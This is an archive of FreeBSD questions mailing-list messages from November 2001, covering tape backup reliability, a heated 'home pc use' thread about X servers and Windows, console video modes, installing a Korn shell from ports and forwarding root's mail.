Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tuesday, 20 November 2001 at 10:57:25 +0100, Anthony Atkielski wrote: > Greg writes: > >> Total failure. > > There's no such thing as "total failure." What actually occurred? In most cases, they were unable to transfer data. In two cases, there was mechanical failure. >> HP, AIWA, Sony, Conner. > > And all of them failed "totally"? To the point that a repair was not practical, yes. >> What would you replace them with? > > DLT is the usual choice. Look at the prices. >> It's a question of cost. > > If you don't want to pay for something better, you're in no position > to complain about what you are using. That is a stupid statement. Carried to its logical conclusion, you could never complain about anything if there was some really expensive alternative. >> But if disks were anywhere near as unreliable as tapes, people >> would be up in arms. > > Tapes don't have to be as reliable as disks. Nobody uses them for > anything except backups. Another stupid statement. If there's one thing that needs to be reliable, it's backups. >> Drive. > > How many times a day did you use the drive during 18 months? Once. Greg -- When replying to this message, please copy the original recipients. If you don't, I may ignore the reply. For more information, see http://www.lemis.com/questions.html See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:56:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 9EF3737B405 for ; Tue, 20 Nov 2001 14:56:42 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKMueZ00223; Tue, 20 Nov 2001 23:56:40 +0100 (CET) Message-ID: <012701c17216$9e31df00$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <014601c171d2$22ada240$a50410ac@olmct.net> <008a01c171fa$7110be90$0a00000a@atkielski.com> <20011120200746.GA80963@rhadamanth> <00c101c17204$4070bb50$0a00000a@atkielski.com> <20011120224137.GA82211@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 23:56:34 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > That's not the situation you described though, is it? It's exactly the situation I described. > You said : > `` I would not run any X server on a large system > with many users connected; let the users gobble > resources on their own workstations, not on the > central system.'' > > If, however, you are running the X server on the > same machine, then the server and workstation are > one and the same. Yes, and if there are other users connected to the machine, then the situation I described obtains. > However, I think you are failing to realise that > the X server and the workstation are always one > and the same. But the workstation and the server (the server being the UNIX system running the clients) are not. I meant server in the sense of the central system serving many users. > Each user runs their own X server. If the user is running the X server on the console of his FreeBSD system, then everything is running on a single machine. This appears to be the way many people do it, from what I've read here. And so a multiuser timesharing system is essentially being used as a simple desktop. Kind of like using MVS as an adding machine. > I'll say it again, in case you still don't get it : > The X server runs on the workstation. But the workstation and the UNIX server are usually one and the same, in the configurations being discussed here. If you are running KDE, typically it is running on the console of the same machine that runs the X clients, as I understand it. So everything is running on one machine ... just like a desktop. I supposed you could split things over two machines, but is anyone really doing that? To run a GUI, you need intimate communication with the hardware. > As in, each user runs their own X server on their > own workstation, the machine that all the users they > are logged into doesn't run an X server at > all, it runs X clients. These two machines may be one and the same. > KDE isn't an X server, it's a window manager, > and in the situation you describe above, it's > the X client. Yes, this has been pointed out to me; my mistake. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:59:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id B040137B418 for ; Tue, 20 Nov 2001 14:59:23 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166JrO-0005ap-00 for questions@freebsd.org; Tue, 20 Nov 2001 22:59:22 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166JrF-000LaZ-00 for questions@FreeBSD.org; Tue, 20 Nov 2001 22:59:13 +0000 Date: Tue, 20 Nov 2001 22:59:13 +0000 From: setantae To: questions@FreeBSD.org Subject: Re: home pc use Message-ID: <20011120225913.GA82901@rhadamanth> References: <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <20011120150009.GA78153@rhadamanth> <008f01c171fb$a5108da0$0a00000a@atkielski.com> <20011120201935.GB80963@rhadamanth> <00c801c17205$1175f2b0$0a00000a@atkielski.com> <20011120225043.GC82211@rhadamanth> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011120225043.GC82211@rhadamanth> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 10:50:43PM +0000, setantae wrote: > > > > Maybe I'm confused. How do you run an X server or an application within it > > without a window manager? > > It's easy. > I believe it was Kris who pointed out how to do it somewhere else in this > thread. Apologies. It was Uli. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 0:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id DD72537B418 for ; Tue, 20 Nov 2001 15:00:42 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAKN0bo10955; Wed, 21 Nov 2001 01:00:37 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAKMslE49631; Wed, 21 Nov 2001 00:54:47 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 00:54:46 +0200 From: Giorgos Keramidas To: David Loszewski Cc: freebsd-questions@FreeBSD.ORG Subject: Re: changing console text size? Message-ID: <20011120225445.GI27244@hades.hell.gr> References: <001801c171ef$02d68460$b5e4b184@sickness> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <001801c171ef$02d68460$b5e4b184@sickness> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 13:13:09, David Loszewski wrote: > Is there a way to change the text size of the console text. On my 19" > monitor the text is huge when I'm out of X-Windows and using console > instead. You can change the console video mode, by properly tweaking your rc.conf file. I have in mine: % grep allscr /etc/rc.conf allscreens_flags="132x25" This makes the default console mode have 132 columns instead of the default 80. My 15" monitor looks a lot better with 132 columns. For more video modes, read the manual page of vidcontrol(1) and the description of allscreens_flags in rc.conf(5). -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 1:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 0326F37B41F for ; Tue, 20 Nov 2001 15:00:55 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAKN0no11135; Wed, 21 Nov 2001 01:00:50 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAKLP4m46250; Tue, 20 Nov 2001 23:25:04 +0200 (EET) (envelope-from charon@labs.gr) Date: Tue, 20 Nov 2001 23:25:03 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120212503.GD27244@hades.hell.gr> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <009701c171a8$ebc141c0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <009701c171a8$ebc141c0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 10:51:19, Anthony Atkielski wrote: > Not everyone is interested in a learning experience. Some people are just > interested in dumping anything with Microsoft's name on it. People in this > latter category are likely to be disappointed by an attempt to switch to > FreeBSD, unless they enjoy playing with their operating systems more than they > do using them. "Not everyone is interested in a learning experience." So, you are unwilling to learn anything new. You are well set, and refuse to learn how anything else works, apart from what you already know. Then, I'm afraid, you'll find that it's hard to use anything, be it FreeBSD, Linux, SunOS or Windows' newest incarnation of an OS. "Some people are just interested in dumping anything with Microsoft's name on it." Correct me if I'm wrong, but are you suggesting that to use Microsoft's Windows OSes you did not invest time and money to learn how to use the product? I really don't think so. You did do a lot of reading. You did search in the documentation for ways to accomplish your tasks. You did browse the Internet, and search the Usenet archives. You did dig in the Microsoft 'Knowledge Base' or whatever it is called this month. All these things, are exactly the same things that you will have to do to use *any* operating system effectively :) Why do you seem so annoyed that to use FreeBSD you have to learn how it works? -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 1: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 8F6F637B405 for ; Tue, 20 Nov 2001 15:00:51 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAKN0io11067; Wed, 21 Nov 2001 01:00:44 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAKMWsg49447; Wed, 21 Nov 2001 00:32:54 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 00:32:53 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: setantae , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120223253.GG27244@hades.hell.gr> References: <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> <20011120050329.A971@xor.obsecurity.org> <00b101c171cc$d8ed1e10$0a00000a@atkielski.com> <20011120141109.GA77819@rhadamanth> <004201c171d1$14bbf390$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <004201c171d1$14bbf390$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 15:38:47, Anthony Atkielski wrote: > Ceri writes: > > > Window managers don't applications at all. > > Windows is an integrated OS/window manager environment. We know. Now can we stop talking about Windows? -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 1:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id DA29D37B418 for ; Tue, 20 Nov 2001 15:00:51 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAKN0ko11087; Wed, 21 Nov 2001 01:00:46 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAKM3QX49229; Wed, 21 Nov 2001 00:03:26 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 00:03:25 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: setantae , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120220325.GF27244@hades.hell.gr> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <005f01c171bf$c4d06b10$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 13:34:53, Anthony Atkielski wrote: > Ceri writes: > > Yes, FreeBSD is suited for server use, but I > > find it perfectly adequate for my dekstop needs > > as well. > > It may be, if your needs are very limited. I have more than 100 applications > that I use on Windows, though, and there is just no way to get the equivalent on > FreeBSD--nor do I have any motivation to try to do so. Why would I want a clone > of Windows? I already _have_ Windows. So what are you complaining about? :) That KDE crashes? That you experienced spontaneous reboots at night? But when people did suggest things that would help you find out the (possible) cause of your problems: ------------------------------------------------------------------ From: "Anthony Atkielski" Date: Tue, 20 Nov 2001 11:19:01 +0100 Robert writes: > Perhaps this was due to your buggy VIA > Southbridge, mentioned in another > thread, IIRC? That same "buggy" hardware runs Windows flawlessly. ------------------------------------------------------------------ Or you are complaining why FreeBSD does not work exactly like your Windows work for you: ------------------------------------------------------------------ From: "Anthony Atkielski" Date: Tue, 20 Nov 2001 11:43:11 +0100 Which alternatives provide both the stability of the native CLI mode (which is, after all, a major selling point for FreeBSD) and the functional and ergonomic equivalent of Microsoft Windows? ------------------------------------------------------------------ Anthony, you have been posting troll-like messages to freebsd-questions for more than a few days. The threads that you start and contribute to tend to diverge a lot from being `questions' and they have a tendency to transform in 'FreeBSD vs Windows' flamefests. Please stop this. If you want to learn how FreeBSD works, the people on this list and the rest of the FreeBSD support lists are more than willing to point to the right places. Documentation and support is not something that FreeBSD lacks. So, if you begin to like FreeBSD after a while, then you are most welcome to use it :) If, on the other hand, you find that you are so used to the Windows way of doing things, or that you can not stop using programs that are only available for Windows, or are unwilling to switch because you do not have the time and/or the motivation to learn how FreeBSD works, it is OK too. You don't *HAVE* to use FreeBSD. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 1:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.smed.com (mail.smed.com [64.46.248.225]) by hub.freebsd.org (Postfix) with ESMTP id 6EA3737B426 for ; Tue, 20 Nov 2001 15:00:59 -0800 (PST) Received: from smtpgate.smshsc.net (unknown [165.226.204.25]) by mail.smed.com (Postfix) with ESMTP id 9633147E96 for ; Tue, 20 Nov 2001 18:00:56 -0500 (EST) Received: from iesa14.smshsc.net (iesa14.shrmed.com [165.226.204.44]) by smtpgate.smshsc.net (8.9.3/8.9.3) with ESMTP id SAA32059 for ; Tue, 20 Nov 2001 18:00:55 -0500 From: Joe.Warner@smed.com Received: from uranus.smed.com (unverified) by iesa14.smshsc.net (Content Technologies SMTPRS 2.0.15) with ESMTP id ; Tue, 20 Nov 2001 17:30:36 -0500 Subject: Re: /usr/ports/shells/ksh93 To: Brian Minder Cc: freebsd-questions@freebsd.org X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-Id: Date: Tue, 20 Nov 2001 15:30:00 -0700 X-MIMETrack: Serialize by Router on Uranus/SMS(Release 5.0.8 |June 18, 2001) at 11/20/2001 05:30:36 PM MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG OK, I installed it and it works. Thanks for your help. Joe Joe Warner | Sr. Operations Technical Analyst | Siemens Health Service= s | 215 N. Admiral Byrd Road | Salt Lake City, UT 84116 =A0| Ph: 801-539-4= 978 | Fax: 801-533-8004 | Joe.Warner@smed.com = =20 Brian Minder = =20 cc: freebsd-questions@free= bsd.org =20 Subject: Re: /usr/ports/sh= ells/ksh93 =20 11/20/2001 = =20 11:20 AM = =20 = =20 = =20 Another ksh implementation is pdksh. From /usr/ports/shells/pdksh/pkg-descr: -- PDKSH is the Public Domain Korn Shell. Its command language is a superset of the sh(1) shell language. WWW: http://www.cs.mun.ca/~michael/pdksh/ -- Thanks, -Brian -- bmm@minder.net 1024/8C7C= 4DE9 On Tue, Nov 20, 2001 at 08:31:27AM -0700, Joe.Warner@smed.com wrote: > > I'm running FreeBSD 4.4-STABLE in a > production environment and need to install > an application for our intranet > but it's install script is written for #!/bin/ksh > > After checking /etc/shells and noticing that I > didn't have ksh installed, I tried to install it via > /usr/ports/shells/ksh93 but it errored out at the > end saying I needed to download the port > manually and place it in /usr/ports/distfiles > > http://www.freebsd.org/cgi/pds.cgi?ports/shells/ksh93 > references INIT.2001-07-04.0000.tgz and > ast-ksh.2001-07-04.0000.tgz but when I click > on those links it comes back saying "The page > cannot be found". Additionally, when I search > for these files at http://www.research.att.com/ > I can't find them. > > Obviously, this port is outdated. Does anyone know > which snapshot from www.research.att.com will work > and how I should modify the Makefile so that it installs > properly (especially during the patch phase) ? = ------------------------------------------------------------------------------- This message and any included attachments are from Siemens Medical Solutions Health Services Corporation and are intended only for the addressee(s). The information contained herein may include trade secrets or privileged or otherwise confidential information. Unauthorized review, forwarding, printing, copying, distributing, or using such information is strictly prohibited and may be unlawful. If you received this message in error, or have reason to believe you are not authorized to receive it, please promptly delete this message and notify the sender by e-mail with a copy to CSOffice@smed.com. Thank you To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 1:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 1C5B337B421 for ; Tue, 20 Nov 2001 15:00:59 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAKN0qo11183; Wed, 21 Nov 2001 01:00:52 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAKLBuu44801; Tue, 20 Nov 2001 23:11:56 +0200 (EET) (envelope-from charon@labs.gr) Date: Tue, 20 Nov 2001 23:11:55 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: Michael Lucas , Deman , freebsd-questions@FreeBSD.ORG Subject: Re: Mysterious boot during the night Message-ID: <20011120211154.GC27244@hades.hell.gr> References: <008201c17164$d2220e00$0a00000a@atkielski.com> <2519.10.100.98.21.1006246845.squirrel@10.100.3.5> <00a101c171a9$75395d70$0a00000a@atkielski.com> <20011120073451.A97990@blackhelicopters.org> <007001c171c0$e1214cc0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <007001c171c0$e1214cc0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 13:42:50, Anthony Atkielski wrote: > Michael writes: > > > Buying a bundle will also make the cost more > > like a commercial software product, which can > > be an advantage. > > There is still the issue of getting prompt and guaranteed support for the > software, which is a crippling disadvantage for open-source software in > production environments, except at organizations that can afford to have > highly-qualified experts on staff. If it is `commercial grade' support that you are after, you should perhaps take a look for consultants that do support FreeBSD. In fact, if the support from the lists (which is given for free) is not good enough (`prompt and guaranteed' to use your words), this is the best way to go :) -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 1:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id ED10E37B419 for ; Tue, 20 Nov 2001 15:00:51 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAKN0co10977; Wed, 21 Nov 2001 01:00:38 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAKMkRa49570; Wed, 21 Nov 2001 00:46:27 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 00:46:26 +0200 From: Giorgos Keramidas To: Daniel Frazier Cc: Steve Brown , Jaime , questions@FreeBSD.ORG Subject: Re: Security Question. Message-ID: <20011120224625.GH27244@hades.hell.gr> References: <20011120074229.X51617-100000@malkav.snowmoon.com> <000301c171ed$54c26b60$660f129f@bro5637> <3BFA9A9E.7060904@magpage.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3BFA9A9E.7060904@magpage.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 13:02:06, Daniel Frazier wrote: > Steve Brown wrote: > > > >(You are forwarding root's email to your regular account, right?) > > > > > >I'd do that but I've not been able to figure out how. Can you > >help? I'm using a more or less default install of FreeBSD4.4-RELEASE (i386) > >with sendmail. > > read /etc/aliases (actually a symlink to /etc/mail/aliases). You want > to uncomment the line that applies to root and replace the sample > email addy with yours. And run `newaliases' after you're done :) -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 2: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 04D4037B417 for ; Tue, 20 Nov 2001 15:00:55 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAKN0oo11144; Wed, 21 Nov 2001 01:00:50 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAKLbs947871; Tue, 20 Nov 2001 23:37:54 +0200 (EET) (envelope-from charon@labs.gr) Date: Tue, 20 Nov 2001 23:37:53 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: Kris Kennaway , setantae , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120213753.GE27244@hades.hell.gr> References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120024643.B92409@xor.obsecurity.org> <012001c171b5$ac8d86a0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <012001c171b5$ac8d86a0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 12:22:37, Anthony Atkielski wrote: > My impression is that many FreeBSD users are rabid Microsoft-haters > who are more interested in duplicating Windows without any Microsoft > code than in using FreeBSD in the applications where it performs > best ... This is not true. In fact, Microsoft's name was rarely if ever spelled out publicly on these lists, until that day a few weeks back that you started complaining why FreeBSD is not exactly like the Windows you used to have :) Most of the people on these lists can do their daily work without caring about the Microsoft way of doing things. It is one thing to say `I hate Microsoft' and a totally different story to say `I don't care about Microsoft'. Don't let the subtle difference confuse you. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 3:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f64.law3.hotmail.com [209.185.241.64]) by hub.freebsd.org (Postfix) with ESMTP id 9138D37B416 for ; Tue, 20 Nov 2001 15:03:23 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 15:03:23 -0800 Received: from 213.225.121.41 by lw3fd.law3.hotmail.msn.com with HTTP; Tue, 20 Nov 2001 23:03:23 GMT X-Originating-IP: [213.225.121.41] From: "Thor Legvold" To: freebsd-questions@freebsd.org Subject: Networking questions Date: Tue, 20 Nov 2001 23:03:23 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 20 Nov 2001 23:03:23.0590 (UTC) FILETIME=[8E09B660:01C17217] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG While trying to debug my VPN connection, I've come to the conclusion that my networking knowledge is severely outdated and lacking in several areas (which is fine, I like learning new stuff). I worked with SunOS, AIX and NextStep about 10 years ago, did SLIP, but need info especially when it come's to a lot of the "new" things (tunneling, pptp), but also in regards to some of the old that I never really got involved in (nat, firewalls). I wonder if anyone knows some good links to get a basic overview of networking concepts and practices. I know what TCP/IP, UDP and such are and how they work in general, the OSI model etc etc, but I'm thinking of things like: where does a VPN tunnel fit in a normal network setup - is it parallell to the existing network(s), do exisiting hosts use aliases (so each has a regular LAN IP and a VPN IP on the same interface) or what? Does natd function on the outside, inside or from within a firewall? In a gatewayed system, where do virtual adapters (tunnels and pptp/ppp) end up relative to the existing internal LAN and external Internet/WAN? Trying to get all of this in a clear conceptual framework in my head so I know where to look to debug this problem I'm having with mpd-netgraph, and to better understand my own network setup both now and in the future. My ISP turns off the NAT system for good tomorrow and allows only VPN connections from then on (which I still haven't gotten to work), so it might be a while before I'm able to reply to any messages, but I should manage to be able to read responses from somewhere. Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 6:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 149FD37B405 for ; Tue, 20 Nov 2001 15:06:08 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKN66L01803; Wed, 21 Nov 2001 00:06:06 +0100 (CET) Message-ID: <012e01c17217$ef44ead0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Alex Obradovic" , References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <011701c17212$8518b010$0a00000a@atkielski.com> <20011120144826.F6187@bsd.alexe.org> Subject: Re: home pc use Date: Wed, 21 Nov 2001 00:05:59 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk 